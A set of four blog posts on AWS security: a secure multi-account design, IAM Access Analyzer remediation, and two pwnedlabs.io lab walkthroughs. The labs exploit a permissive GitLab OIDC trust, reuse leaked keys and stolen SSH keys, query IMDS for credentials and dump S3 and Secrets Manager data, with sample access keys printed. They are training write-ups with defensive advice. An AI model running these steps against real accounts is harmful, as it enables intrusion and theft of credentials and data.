Forem: Constantine Ukah

How to Secure Your AWS Web Application with Data Sovereignty, Encryption, and Availability in a Multi-Account Setup.

Constantine Ukah — Wed, 02 Jul 2025 10:42:26 +0000

Introduction

As organizations move sensitive workloads to the cloud, ensuring compliance with regional data laws, availability SLAs, and strong encryption is no longer optional. In this post, I will walk through securing a web application hosted on AWS, leveraging Control Tower to structure a compliant multi-account environment.

Scenario

Imagine you have a financial or healthcare applications whose data MUST

Reside in a specific region or location,
Can't afford to be unavailable due to its function
Sensitive information like customers' biodata, credit/debit card information etc are stored.
Finally, when weekly or quarterly audit and compliance reports are required by your management or 3rd party auditors.

How do you achieve these with a single account. Hence, multi-account architecture and AWS Control Tower comes into play.

Solution Overview.

The web application will run inside the private subnets, meaning it cannot be directly accessed from the internet. Instead, traffic flows through a public Application Load Balancer (ALB), which forwards requests to EC2 instances hosted in private subnets. Outbound internet access, if needed (e.g., for package updates), is routed via a NAT Gateway.

The application is configured to listen on port 5000. However, an Nginx reverse proxy will be used to allow traffic received from the Load Balancer on port 80 while the Load Balancer would listen on port 443 from CloudFront.

The following AWS services would be used.

AWS Control Tower: For automated, governed multi-account setup.
AWS Organizations: To segment workloads into OUs (Organizational Units).
Service Control Policies (SCPs): To enforce the allowed regions and service boundaries.
AWS RAM & VPC Peering: For centralized networking across accounts.
Amazon S3 + AWS KMS: For encrypted data storage.
ALB + ACM: for TLS encryption and HTTPS access.
CloudFront + Route53: For scalable, globally available web access.
CloudTrail & Config: For centralized logging and auditing.

Multi-Account Structure

Using the AWS Control Tower, the OUs that would be created and their purposes are:

Enforcing Data Sovereignty

Restrict application/services usage or deployment to only the approved AWS region(s) using SCPs and then apply to the Production Organisational Unit (OU).

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "DenyRegionsOutsideN.Virginia",
      "Effect": "Deny",
      "Action": "*",
      "Resource": "*",
      "Condition": {
        "StringNotEquals": {
          "aws:RequestedRegion": "us-east-1"
        }
      }
    }
  ]
}

Implementing End-to-End Encryption

To achieve robust end-to-end encryption, it's crucial to address both encryption at rest and encryption in transit. Configure encryption for your AWS resources, starting with customer-managed keys via AWS Key Management Service (KMS)

Configure a Customer-Managed Key (CMK) with AWS KMS First, you'll provision an AWS KMS Customer-Managed Key (CMK) that will be used for encrypting your data. This provides you with full control over the encryption key lifecycle.

resource "aws_kms_key" "encryp_key" {
  description             = "Encryption key for s3 bucket"
  key_usage               = "ENCRYPT_DECRYPT"
  enable_key_rotation     = true
  deletion_window_in_days = 7
}

data "aws_caller_identity" "current" {}

resource "aws_kms_key_policy" "encrypt_policy" {
  key_id = aws_kms_key.encryp_key.id
  policy = jsonencode({
    Version = "2012-10-17"
    Id      = "key-default-1"
    Statement = [
      {
        Sid    = "Allow the use of the key"
        Effect = "Allow"
        Principal = {
          AWS = "arn:aws:iam::${data.aws_caller_identity.current.account_id}:user/<your delegated user>"
        },
        Action: [
        "kms:Encrypt",
        "kms:Decrypt",
        "kms:ReEncrypt*",
        "kms:GenerateDataKey*",
        "kms:DescribeKey"
        ],
        Resource = "*"
      }
    ]
  })
}

To ensure encryption end-to-end, then, encryption at rest and in transit must be implemented.

Encryption at rest ensures that your data is encrypted when it's stored in persistent storage, such as S3 buckets, databases, or EC2 volumes.

To ensure end-to-end encryption, you must implement encryption at rest for all sensitive data stores. For example, for an logging S3 bucket:

resource "aws_s3_bucket_server_side_encryption_configuration" "s3_sse_config" {
  bucket = aws_s3_bucket.s3-cloudlogs.id

  rule {
    apply_server_side_encryption_by_default {
      kms_master_key_id = var.key_id
      sse_algorithm     = "aws:kms"
    }
  }
}

Encryption in transit (or in-flight encryption) protects data as it moves between systems over networks. This is typically achieved using protocols like TLS/SSL. In this lab, a TLS certificate from Amazon Certificate Manager (ACM) will be attached to both the Application Load Balancer and CloudFront services with Route53 pointing to our customized domain.

Achieving High Availability

To ensure high availability of the application, we would

Deploy the application servers in multiple Availability zones.
Use Auto Scaling Groups for easy scalability.
Attach Application Load Balancer and CloudFront to handle even distribution of our user traffic and ensure global reach with low latency.
Finally, use Route53 to reroute traffic to our customized domain name.

Centralized Governance, Monitoring and Logging.

AWS Control Tower sets up CloudTrail and AWS Config in a Log Archive account.
Guardrails automatically apply mandatory SCPs and detect policy violations.
Use AWS Security Hub and GuardDuty in the Security account to detect threats across all accounts.

Conclusion.

Implementing a robust, compliant, and highly available web application in the cloud demands a thoughtful architectural approach. By leveraging AWS Control Tower for a governed multi-account structure, enforcing data sovereignty with SCPs, and meticulously applying end-to-end encryption and high availability patterns, organizations can confidently migrate sensitive workloads. This comprehensive strategy not only meets stringent regulatory requirements but also lays a solid foundation for secure, scalable, and auditable cloud operations.

Summary

This hands-on implementation validates my readiness to secure cloud web application with attention to reliability, security, and scalability.
Check out my github for the code and architectural diagram.

Preventing Exploitable Cloud Misconfigurations Using IAM Access Analyzer

Constantine Ukah — Sun, 13 Apr 2025 16:21:29 +0000

Introduction

What is IAM and its importance in cloud security?

Identity and Access Management (IAM) is an AWS web service that helps you securely control access to AWS resources. IAM provides the infrastructure required to control authentication and authorization to various AWS resources. And a few importance of IAM include the following:

Least Privilege Enforcement
Enabling Fine-Grained Permissions
Auditing & Compliance
Managing Federated Access.

Hence, the AWS resource that guides you toward least privilege by providing capabilities to set, verify, and refine permissions, analyze external access and validate that your policies match your specified corporate security standards is known as IAM Access Analyzer. By the end of this post, you’ll know how to use IAM Access Analyzer to prevent breaches before they happen by reducing your attack surface and enforcing least privilege.

How to set it up.

Log into your AWS account and select your region.
Search for IAM and navigate to the Access Reports -> Access Analyzer.

Click on create analyser, you would see two finding types namely:
External access finding: This finding detects when resources (like S3 buckets, Snapshots, KMS keys, etc.) can be accessed by external entities which could lead to data exposure or unauthorized actions.
Unused access finding: This finding helps you identify permissions, roles, keys that were granted but never used over a certain time period.

So, lets start with the External access finding.

Select the External access analysis under the finding type, leaving other defaults settings, click on create analyser.
Allow the analyser to scan your account.

From the snippet above, it shows me that my account has a public facing bucket and EC2 Snapshot.

Investigate further into the S3 Bucket.
.
For the snippet, you can see the bucket name (iajaihnakmrina), the external principal (all principals), shared through (Bucket Policy) and the level of access (Read) usable by the external entities.
Navigate to the S3 bucket -> permissions.

Notice that the configured bucket policy has its principal as "*" and the block all public access setting was turned off.

Turn on Block Public Access setting and rescan the analyser

Upon rescanning, the status now shows Resolved.
Repeat the process for the second public facing resource. Notice the snapshot name, status and access level.
Navigate to the Snapshot.

Select the snapshot, click on Action -> Snapshot setting -> Modify Permissions -> select private sharing option.

Now, rescan the analyser to confirm resolved.
Next, create a analyser for the unused access analysis.
Allow it scan your account automatically. Notice the various findings seen below.

From the snippet, you could see the various finding types (unused permission, password, role).

Investigating each finding type stating with the Unused permission

We have that user - dev1 has two (2) permissions for lambda (last used - never) and IAM (last used - yesterday). Also, notice the recommended remediation steps.

Navigate to the IAM user - dev1, notice the various permissions attached to the user.

Remove the permissions if not needed any more, then rescan.

Do same for the next finding type - Unused password.

Navigate to the dev1 user -> Security Credentials -> Managed console access.

Click on Disable Console Access.

For the programmatic keys, simply delete it.

Upon rescan, notice that both the unused password and permission finding types have been resolved.
Now, lets focus on the last finding type - unused role.

If the role is still needed, simply archive the finding. But if needed no more, just delete it.

Finally, notice that all findings are now resolved, lowing my attack surface.

Conclusion

We have learnt what AWS IAM Access Analyser is about, how to set it up and remediate findings. Ensure that you maintain a reduced attack surface and enforcing least privileged using IAM Access Analyzer by tracking your unused permissions, keys, passwords, roles and public facing resources.

Check out this AWS documentation for more information on access analyzer.

Abuse OpenID Connect and GitLab for AWS Access.

Constantine Ukah — Thu, 10 Apr 2025 01:53:27 +0000

What is an OpenID Connect (OIDC)?

This is an authentication protocol built on top of OAuth 2.0 that allows applications to verify a user's identity based on authentication performed by an identity provider (IdP). In AWS, OIDC is commonly used for integrating third-party identity providers (such as Google, Okta, GitLab or GitHub) to assume an AWS IAM role and access AWS resources.

Real-world context

When enabling OpenID Connect (OIDC) for ID federation between GitLab and AWS, the official GitLab documentation recommends that role assumption be restricted to a specific group, project, branch, or tag. However, we see multiple instances on GitLab forums or StackOverflow of people creating overly permissive role assumption policies, whether for convenience or to overcome problems.

Hence, in this pwnedlabs.io lab, we would explore how an overly permissive OpenID Connect role assumption policy can lead to threat actors gaining access to an AWS account via GitLab.

Scenario

It's time for an internal pentest, and the Huge Logistics internal security team have provided us with starting credentials to use for the assessment. Can you capitalize on a critical finding and show the client how overly permissive settings can lead to breach? The defenders have planted a flag for us in case we can escalate our access.

Enumeration

Firstly, lets configure the starting credentials provided by our client with a profile of our choice which can be confirmed using

aws sts get-caller-identity --profile openid

From the snippet above, the username assigned to us is "pentester". Now, lets enumerate this username for possible policies assigned to this user using the commands -

aws iam list-attached-user-policies --user-name pentester --profile openid
aws iam list-user-policies --user-name pentester --profile openid

Errors for the ran commands confirms our lack of permission to list policies for this user.

So, what next? Are we stuck? I guess not. We will be using a tool called Cloudfox.

What is CloudFox?

It is an open-source cloud security assessment tool designed to help security professionals gather information about cloud environments efficiently. It automates cloud enumeration and privilege escalation analysis, primarily for AWS, but also supports Azure and Google Cloud.

CloudFox helps you find attack paths and misconfigurations by listing exposed services, permissions, and credentials.

Installation of CloudFox

For Mac Users, simply run brew install cloudfox
For Linux Users, install go then, use go install github.com/BishopFox/cloudfox@latest to install from the remote source.

Navigate into the go/bin directory in your home directory, start by running all checks using your profile name. In my case, it is openid

./cloudfox aws -p openid all-checks

The command is successful and its content saved to a subdirectory in this format - ~/.cloudfox/cached-data/aws/your-aws-accountID

Navigate into that subdirectory and list the content of the subdirectory. You would see multiple files. However, we are focus on privilege escalation. Hence, we would pay attention to the users and roles files.

Examining the user and role (excluding the aws managed roles) lists, we have 3 usernames - bob, louise and pentester and 2 customer managed roles - engineering and gitlab-terraform-deploy

Notice that the roles have AssumeRolePolicyDocuments which is used to grants an IAM entity permission to assume a role but these document are URL-encoded.

Decoding the policy documents using urldecoder.org.

Copy the output to your commandline and then pass it to jq for readability. Note: Install jq. It is a lightweight command-line JSON processor that allows you to filter, parse, manipulate, and transform JSON data.

echo '{"Version":"2012-10-17","Statement":[{"Sid":"AllowEngineersToAssumeRole","Effect":"Allow","Principal":{"AWS":["arn:aws:iam::137927188009:user/louise","arn:aws:iam::137927188009:user/bob"]},"Action":"sts:AssumeRole"}]}' | jq

We see that bob and louise have permission to assume the engineering role.

echo '{"Version":"2012-10-17","Statement":[{"Sid":"AllowGitlabToAssumeRole","Effect":"Allow","Principal":{"Federated":"arn:aws:iam::137927188009:oidc-provider/gitlab.com"},"Action":"sts:AssumeRoleWithWebIdentity","Condition":{"StringEquals":{"gitlab.com:aud":"https://gitlab.com"}}}]}' | jq

From the document above,

Principal (Who is allowed to assume the role?): The trusted entity is GitLab's OIDC provider, which allows authentication via GitLab associated with the specified AWS account.
Action (What is allowed?): This allows GitLab's OIDC provider to assume the IAM role using web identity federation.
Condition (Extra security check): The condition "StringEquals": {"gitlab.com:aud": "https://gitlab.com"} specifies that the request must originate from GitLab and match the audience URL "https://gitlab.com.

In line with GitLab documentation which recommends restricting role assumption to a specific group, project, branch, or tag, you can see that the condition set in the policy document does not meet this recommendation. Instead, it allows any GitLab-authenticated user who meets the audience condition to assume the AWS role.

You can get more information about the assumed policy document using the command.

aws iam get-role --role-name gitlab_terraform_deploy --profile openid

Exploitation

Setup a GitLab account (if you have none) or log into your GitLab account (if you have one) and create a new project.

Navigate to Settings -> CI/CD -> Variables -> Add variable

Create 3 variables with the following values below.

Note: replace for the ROLE_ARN variable with your AWS account ID (in my case, it is 137927188009) in your lab instance.

**AWS_CONFIG_FILE**

Type: File
Environments: All (default)
Flags:
Protect variable: Checked
Expand variable reference: Checked
Key: AWS_CONFIG_FILE
Value:
**[profile oidc]
role_arn=${ROLE_ARN}
web_identity_token_file=${web_identity_token}**  

**ROLE_ARN**

Type: Variable (default)
Environments: All (default)
Flags:
Protect variable: Checked
Expand variable reference: Checked
Key: ROLE_ARN
Value:
**arn:aws:iam::<AWS_account_ID>:role/gitlab_terraform_deploy**   

**web_identity_token**

Type: File
Environments: All (default)
Flags:
Protect variable: Checked
Expand variable reference: Checked
Key: web_identity_token
Value:
**${GITLAB_OIDC_TOKEN}**

Navigate to code -> Repository, click on the Edit button and select Web IDE

Create a .gitlab-ci.yml file with the content below.

variables:
  AWS_DEFAULT_REGION: us-east-1
  AWS_PROFILE: "oidc"

oidc:
  image:
    name: amazon/aws-cli:latest
    entrypoint: [""]
  id_tokens:
    GITLAB_OIDC_TOKEN:
      aud: https://gitlab.com
  script:
    - aws sts get-caller-identity

The script is designed to run in the us-east-1 region. AWS uses profiles to manage different authentication methods, and in this case, the "oidc" profile instructs the AWS CLI to use OIDC-based authentication instead of traditional AWS access keys.

The GitLab job is named oidc, and it runs the latest AWS CLI image with an entrypoint set to [""] to prevent default behaviors.

Within the script, the id_tokens section tells GitLab to generate an OIDC token for AWS authentication. The token is stored in the GITLAB_OIDC_TOKEN environment variable. Additionally, the aud: https://gitlab.com condition ensures that only GitLab jobs can assume an AWS role—AWS validates the token and verifies that it was issued by GitLab before granting access.

Finally, the script runs aws sts get-caller-identity, which calls AWS Security Token Service (STS) to confirm the identity of the job that is executing the request.

Comment and commit the job to the main branch.

The script completed successfully and this means we have successfully assumed the gitlab_terraform_deploy role.

Knowing that automation files like CloudFormation and Terraform state files are commonly stored in s3 buckets, we can enumerate s3 for possible files. Simply run the script aws s3 ls

Enumerate the huge-logistics-engineering-1e4a1dbe6edc bucket.

variables:
  AWS_DEFAULT_REGION: us-east-1
  AWS_PROFILE: "oidc"

oidc:
  image:
    name: amazon/aws-cli:latest
    entrypoint: [""]
  id_tokens:
    GITLAB_OIDC_TOKEN:
      aud: https://gitlab.com
  script:
    - aws s3 ls huge-logistics-engineering-1e4a1dbe6edc

Notice that there are 2 files - backup.txt & ec2.pem.

Now, let download these files

variables:
  AWS_DEFAULT_REGION: us-east-1
  AWS_PROFILE: "oidc"

oidc:
  image:
    name: amazon/aws-cli:latest
    entrypoint: [""]
  id_tokens:
    GITLAB_OIDC_TOKEN:
      aud: https://gitlab.com
  script:
    - aws s3 sync s3://huge-logistics-engineering-1e4a1dbe6edc/ .
  artifacts:
    paths:
      - backup.txt
      - ec2.pem

Also note the region because it would come in handy.

variables:
  AWS_DEFAULT_REGION: us-east-1
  AWS_PROFILE: "oidc"

oidc:
  image:
    name: amazon/aws-cli:latest
    entrypoint: [""]
  id_tokens:
    GITLAB_OIDC_TOKEN:
      aud: https://gitlab.com
  script:
     - curl -I https://huge-logistics-engineering-1e4a1dbe6edc.s3.amazonaws.com

Unzipping artifacts.zip we find that backup.txt contains terraform output relating to the user louise , including their AWS credentials!

Using the keys, configure a new profile called louise.

Enumerate this user to get what permissions she has using the commands -

aws iam list-attached-user-policies --user-name louise --profile louise

She has just view permissions. However, recall that she could assume the engineering role earlier highlighted. So, lets assume that role using the command

aws sts assume-role --role-arn arn:aws:iam::009836314902:role/engineering --role-session-name louise-eng --profile louise

Note - The lifespan for this assumedRole is just 1 hour (3600 seconds).

Configure a new profile with the credentials. The section should be replaced with sessionToken output

aws configure --profile louise-eng
aws configure set aws_session_token "<token>" --profile louise-eng

Confirm that you have assumed the role.
To enumerate the permissions for this assumed role, I used the AWS Enumerator

Simply install it, populate it with the region we noted earlier and
with louise-eng assumed role credentials and run the script.

  ./aws-enumerator cred -aws_region **us-west-2** -aws_access_key_id **ASIAQESSKIELHJJWGSJQ** -aws_secret_access_key 5oxUDaduqZ8jT4VunNN1zgi28VEfYbhYdlGqj/+t -aws_session_token **FwoGZXIvYXdzEPD//////////wEaDAltRa7YSkpYdLa3qCKuAY+XMEyjM2gQdn1KL+8nLpmELaWYr3G0zEzlgT1qAffJvrKvMa3C1NMXWl43WgbMWRZNlhOdI138p2+wHftdN+qNnd/+YkJrKbxNLnn4Tn4XmTczbJofqLb/Fa5AuQyZlzov67HB8TuKWJdIqAU1hrpdX5zRYGiURw+DoTb29/nm0ZBke4Voc8nU5VbsLBIIuJn++KXYekNzWgh6FqurUoE+VhhP+FdibYsccnym/yi64M2/BjItmkIN2gepIv0T299GZQp5qjjr2c7Qoph2u0nsnrOfXfPQPcrd6y2T3PgW0p1S**

To get the permissions of this user across all aws services, run the below

./aws-enumerator -services all -speed fast
./aws-enumerator dump -services all

You can see that this assumed role has the permission to describe EC2 instances

Certain of this, lets enumerator the EC2 instance within the region us-west-2 for the image-id, IP address etc.

aws ec2 describe-instances --region us-west-2 --profile louise-eng

Now, we know the IP address of the EC2 instance and we have a pem file from the s3 bucket. So, let try to get into the server via ssh.

Firstly, we have to change the permission of the ec2.pem file before using it for ssh. Let's try using louise as the username. And we are in!!

chmod 400 ec2.pem
ssh -i ec2.pem louise@<ip-address>

Note: At this point, you would need to use the VPN from Pwnedlabs.

Lets try accessing the internal instance metadata service (IMDS) on the instance for sensitive information

curl http://169.254.169.254/latest/meta-data

If you get a 401 unauthorized error, then IMDSv2 is enabled. IMDSv1 doesn't requires authentication.

Next, we generate a token using the command below. Refence this aws documentation for that.

TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` \
&& curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

IMDSv2 introduced tokens to help protect against Server-Side Request Forgery (SSRF) attacks and other vulnerabilities.

Notice that there isn't iam category in the output. Hence, let's try the user-data category using the below command.

curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/user-data

This command reveals the bootstrap or user-data script which contain sensitive credentials for a user bob.

On your host PC, configure this credentials using the profile: bob

aws configure --profile bob
aws sts get-caller-identity --profile bob

Recall that both bob and louise were seen to have assumed role privileges to the engineering role. Now, using the permission of the engineering role, to enumerate the attached IAM policies for bob.

aws --profile louise-eng iam list-attached-user-policies --user-name bob

aws --profile louise-eng iam get-policy-version --policy-arn arn:aws:iam::479497507460:policy/ReadSecretsManager --version-id v1

Notice that bob has permission to list secrets and get secret values.

Get the secret value using the command below.

aws --profile bob secretsmanager get-secret-value --secret-id flag_aeb142bb02a8

Defense

Always restrict role assumptions to a specific GitLab group, project, branch, or tag to prevent threat actors from easily gaining access. See the example below.

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "AllowGitLabToAssumeRole",
            "Effect": "Allow",
            "Principal": {
                "Federated": "arn:aws:iam::YOUR_AWS_ACCOUNT_ID:oidc-provider/gitlab.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "StringEquals": {
                    "gitlab.com:sub": "project_path:mygroup/myproject:ref_type:branch:ref:main",
                    "gitlab.com:aud": "sts.amazonaws.com"
                }
            }
        }
    ]
}

Store credentials securely in AWS Secrets Manager rather than in S3 buckets or file shares. If you must store credentials in such locations, ensure they are encrypted and protected by a very strong password.

Credit: Pwnedlabs.io for this interesting lab.

Hunt for Secrets in Git Repos

Constantine Ukah — Tue, 18 Mar 2025 15:45:47 +0000

Overview

Exposed security credentials in Git repositories pose a significant real-world threat, potentially leading to the compromise of individual systems or even entire company networks and platforms.

Today, we will identify access keys within a target GitHub repository and use them to retrieve sensitive data from an S3 bucket.

Credit: Pwnedlabs.io lab.

Requirements / Pre-Requisites

Installation of git-secrets or Trufflehog.

Git-secrets prevent accidentally committing passwords, API keys and other sensitive information to a git repository by scanning the contents of Git repositories for predefined patterns that typically indicate the presence of sensitive information. The patterns are defined in regular expression rules. When it detects a match, it raises a warning or prevents the commit, depending on the configuration.

Trufflehog is another good tool to automate the process of discovering credentials in git repositories

git clone https://github.com/awslabs/git-secrets
cd git-secrets
make install

On debian

pip3 install trufflehog --break-system-packages

Clone the Pwnedlab test repository

git clone https://github.com/huge-logistics/cargo-logistics-dev.git

Finally, have your AWSCLI installed. Checkout this AWS Documentation for a complete installation of the CLI

Using Git Secret to scan the cloned repository

Navigate to the cloned git repo directory and run the following commands

cd cargo-logistics-dev/
git secrets --install
git secrets --register-aws

Scan all revisions of the repository using the command.

git secrets --scan-history

Check the content of the commit using the git show command

git show d8098af5fbf1aa35ae22e99b9493ffae5d97d58f:log-s3-test/log-upload

Using Trufflehog to scan the cloned repository.

trufflehog --regex --entropy=False ./cargo-logistics-dev/

Also, you can scan the github repository URL directly. Hence, there won't be a need to download the repository locally using the below command.

trufflehog https://github.com/huge-logistics/cargo-logistics-dev --max_depth 2

From the above, we discovered an AWS access key that can be configured in the AWS CLI. Additionally, take note of the S3 bucket name, source file, and the region where the bucket is located—these details are crucial for our enumeration.

Configure an awscli profile using the exposed credentials and confirm the identity.

aws configure --profile <name of your profile> 
aws sts get-caller-identity

Now, list the content of the S3 bucket huge-logistics-transact using the command

aws s3 ls s3://huge-logistics-transact --profile <name of your profile>

Copy the content of the bucket to your local PC using the below command format - aws s3 cp s3://<bucket name> <destination location on your PC> --profile <your profile name> --recursive.

aws s3 cp s3://huge-logistics-transact ./exposed_bucket --profile exposed-secret --recursive

Finally, you view the flag.txt file and the web_transaction.csv file, which contains highly sensitive data.

Defense

Never hardcode your AWS credentials to your scripts or code rather make use of the AWS Secret Manager which enables you rotate your secrets.
Finally, ensure you always run a git-secret before committing to your git repository as it would prevent the commit if credentials are seen. You can also infuse it into your pipeline to automatically scan before committing your code changes to your git repository.

Refer to this AWS documentation for guidance on remediating exposed AWS credentials.